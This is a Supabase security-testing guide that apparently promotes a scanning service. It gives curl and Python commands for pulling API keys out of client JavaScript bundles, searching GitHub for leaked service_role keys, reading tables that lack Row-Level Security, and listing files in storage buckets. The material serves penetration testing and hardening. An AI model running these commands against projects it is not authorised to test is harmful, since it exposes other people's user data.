Supabase Security Testing: Anon Key Exposure, Row-Level Security Bypass, and Storage Bucket Misconfiguration

Supabase is a popular open-source Firebase alternative providing a PostgreSQL database, authentication, real-time subscriptions, storage, and edge functions — used by hundreds of thousands of developers. Its security model requires careful assessment: the anon (anonymous) API key is intentionally public and embedded in every client application, but it provides full database access to any table where Row-Level Security (RLS) is not enabled — a single table with RLS disabled exposes all its rows to unauthenticated users who discover the project URL and anon key; the service_role key bypasses all RLS and JWT verification and must never be used in client-side code, but it frequently leaks in GitHub repositories, client app bundles, and environment variable exposure; RLS policies with logical flaws allow cross-user data access; Supabase Storage buckets require explicit access policies — misconfigured public buckets expose all user-uploaded files; and Supabase Auth misconfiguration allows account enumeration, email-based timing attacks, and OAuth redirect manipulation. This guide covers systematic Supabase security assessment.

Table of Contents

  1. Supabase Project Discovery and Key Extraction
  2. Row-Level Security Testing
  3. Service Role Key Exposure
  4. Storage Bucket Misconfiguration
  5. Supabase Auth Security Testing
  6. Supabase Security Hardening

Supabase Project Discovery and Key Extraction

# Supabase project URL format: https://[project-ref].supabase.co
# Keys are commonly found in:
# - JavaScript bundles: window.__SUPABASE_URL__, NEXT_PUBLIC_SUPABASE_ANON_KEY
# - .env files committed to GitHub
# - Android/iOS app binaries (strings extraction)
# - Browser devtools → Application → Local Storage or Source

# Extract Supabase keys from a web application's JS bundle
curl -s https://target-app.example.com/ 2>/dev/null | \
  grep -oE 'eyJ[A-Za-z0-9_-]{20,}\.[A-Za-z0-9_-]{20,}\.[A-Za-z0-9_-]{20,}' | head -5
# JWT format keys starting with 'eyJ' — Supabase keys are JWTs

# Decode the JWT to identify key type
KEY="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
echo "${KEY}" | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool 2>/dev/null
# 'role: anon' = anon key (public)
# 'role: service_role' = CRITICAL — service role key leaked to client

# Check GitHub for exposed Supabase credentials
# Search: "NEXT_PUBLIC_SUPABASE_URL" org:target-company
# Search: "supabase.co" "service_role" org:target-company

Row-Level Security Testing

# Tables without RLS are fully accessible using the anon key
# Supabase PostgREST API: https://[project].supabase.co/rest/v1/[table]

PROJECT="abcdefghijklmnop"
ANON_KEY="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

# Attempt to read a table using only the anon key
curl -s "https://${PROJECT}.supabase.co/rest/v1/users?select=*&limit=10" \
  -H "apikey: ${ANON_KEY}" \
  -H "Authorization: Bearer ${ANON_KEY}" 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
if isinstance(data, list):
    print(f'RLS DISABLED — {len(data)} rows returned without authentication')
    if data:
        print(f'Sample columns: {list(data[0].keys())}')
elif isinstance(data, dict) and 'code' in data:
    print(f'Access denied: {data.get(\"message\",\"?\")}')
" 2>/dev/null

# Test for RLS bypass via JWT role manipulation
# Some RLS policies only check auth.uid() but not the role
# A user authenticated as one user should NOT be able to access another user's rows
# Test by authenticating as user A and requesting rows belonging to user B:
# GET /rest/v1/documents?user_id=eq.[other-user-id]

# Check if RLS is enabled on each accessible table
curl -s "https://${PROJECT}.supabase.co/rest/v1/" \
  -H "apikey: ${ANON_KEY}" 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
paths = data.get('paths', {})
print(f'Accessible tables: {len(paths)}')
for path in list(paths.keys())[:20]:
    print(f'  {path}')
" 2>/dev/null

Storage Bucket Misconfiguration

# Supabase Storage: buckets are private by default but misconfiguration creates public access
# Public bucket URLs: https://[project].supabase.co/storage/v1/object/public/[bucket]/[path]

PROJECT="abcdefghijklmnop"
ANON_KEY="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

# List all storage buckets (requires anon key)
curl -s "https://${PROJECT}.supabase.co/storage/v1/bucket" \
  -H "apikey: ${ANON_KEY}" \
  -H "Authorization: Bearer ${ANON_KEY}" 2>/dev/null | \
  python3 -c "
import json,sys
buckets = json.load(sys.stdin)
if isinstance(buckets, list):
    print(f'Buckets: {len(buckets)}')
    for b in buckets:
        public = b.get('public', False)
        print(f\"  {b.get('name','?')} — {'PUBLIC' if public else 'private'} — id:{b.get('id','?')}\")
        if public:
            print(f'    URL: https://${PROJECT}.supabase.co/storage/v1/object/public/{b.get(\"name\",\"?\")}/')
" 2>/dev/null

# List objects in a public bucket (enumerate all uploaded files)
BUCKET="avatars"
curl -s -X POST "https://${PROJECT}.supabase.co/storage/v1/object/list/${BUCKET}" \
  -H "apikey: ${ANON_KEY}" \
  -H "Authorization: Bearer ${ANON_KEY}" \
  -H "Content-Type: application/json" \
  -d '{"prefix":"","limit":100}' 2>/dev/null | \
  python3 -c "
import json,sys
files = json.load(sys.stdin)
if isinstance(files, list):
    print(f'Files in {\"${BUCKET}\"}: {len(files)}')
    for f in files[:10]:
        print(f\"  {f.get('name','?')} ({f.get('metadata',{}).get('size',0)} bytes)\")
" 2>/dev/null

Supabase Security Hardening

Supabase Security Hardening Checklist:
Security TestMethodRisk
Tables without RLS accessible via anon keyGET /rest/v1/[table] with anon key — 200 with data means RLS not enabled on that tableCritical
Service role key in client applicationDecode JWT in bundle — role: service_role means full database bypass capability in clientCritical
RLS policy logic flaw enables cross-user accessAuthenticated as user A, request rows with user_id=B — tests auth.uid() enforcement in RLS policyHigh
Public storage bucket exposes all filesGET /storage/v1/object/public/[bucket]/ — lists and downloads all files without authenticationHigh
Supabase anon key in GitHub repositorySearch repo for supabase.co and SUPABASE_ANON_KEY — service_role key exposure is criticalHigh
User enumeration via Supabase AuthPOST /auth/v1/signup with known emails — different error responses reveal registered vs unregistered accountsMedium

Automate Supabase Security Testing

Ironimo tests Supabase deployments for tables accessible without authentication due to missing Row-Level Security policies, service_role key exposure in client application bundles or repository commits, RLS policy logic flaws enabling authenticated users to read other users' data, public storage buckets exposing all user-uploaded files, Supabase anon and service role key enumeration from application source code, and Supabase Auth user enumeration via signup and password reset endpoints.

Start free scan